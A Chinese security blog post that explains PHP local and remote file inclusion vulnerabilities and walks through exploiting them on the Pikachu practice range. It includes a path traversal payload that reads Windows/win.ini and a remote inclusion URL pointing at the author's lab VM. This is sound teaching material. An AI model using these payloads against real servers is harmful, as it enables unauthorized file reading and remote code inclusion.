文件包含漏洞

admin 2025年1月12日21:20:38评论41 views字数 1173阅读3分54秒阅读模式
01
文件包含漏洞介绍
文件包含漏洞
1、漏洞简介

文件包含漏洞是指由于应用程序在包含文件时,没有对包含文件的路径和内容进行严格的验证和过滤,导致攻击者可以利用这个机制,让服务器包含并执行非预期的文件。

2、PHP 中的文件包含函数

(1)include()

在执行到该函数时,它会尝试将指定的文件包含进来并执行其中的代码。如果文件不存在,它会产生一个警告,但脚本会继续执行。

(2)require()

和 include () 类似,但如果指定的文件不存在,它会产生一个报错,脚本会停止执行。

(3)include_once()

和 include () 功能基本相同,但它会检查文件是否已经被包含过。如果已经包含过,就不会再次包含,避免了重复包含可能导致的问题,如函数重定义等。

(4)require_once()

结合了 require () 和 include_once () 的特点。如果文件不存在,会产生错误使脚本停止执行,并且会检查文件是否已经被包含过,避免重复包含。

3、文件包含漏洞分类

(1)本地文件包含漏洞

本地文件包含漏洞是指攻击者能够利用应用程序中的文件包含功能,去包含服务器本地文件系统中的文件。

(2)远程文件包含漏洞

远程文件包含漏洞是指攻击者可以让应用程序包含一个远程服务器上的文件。这要求服务器配置允许包含远程文件,并且应用程序没有对文件包含参数进行严格的限制。

在 PHP 中,allow_url_fopen和allow_url_include这两个选项通常需要同时开启才可能出现远程文件包含漏洞。

02
Pikachu靶场文件包含漏洞练习
文件包含漏洞
1、本地文件包含漏洞

查看正常功能,发现是filename控制文件路径

文件包含漏洞

把file1改为file6发现了用户名密码,也可以用Burp的Intrude模块爆破

文件包含漏洞

尝试输入../../../../../../Windows/win.ini,可以查看win.ini的内容,当然也可以查看其他本地文件

文件包含漏洞
2、远程文件包含漏洞

提示allow_url_include没有打开,去设置一下

文件包含漏洞

如何打开allow_url_include

在phpStudy设置里面找到使用的php版本并点击,更改php.ini中的allow_url_include=On,保存并退出。

文件包含漏洞

我在另一台虚拟机kali中的/var/WWW/http目录下新建了一个1.txt,内容为HELLO CiagenSec,我的kali的IP地址为192.168.119.129

文件包含漏洞

在kali中开启apache服务service apache2 start

文件包含漏洞

回到靶场,输入

filename=http://192.168.119.129/1.txt,可以看到已经包含了这个远程文件

文件包含漏洞
THE END

文件包含漏洞

亲爱的朋友,若你觉得文章不错,请点击关注。你的关注是笔者创作的最大动力,感谢有你!

原文始发于微信公众号(菜根网络安全杂谈):文件包含漏洞等你来看

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月12日21:20:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   文件包含漏洞https://cn-sec.com/archives/3621796.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息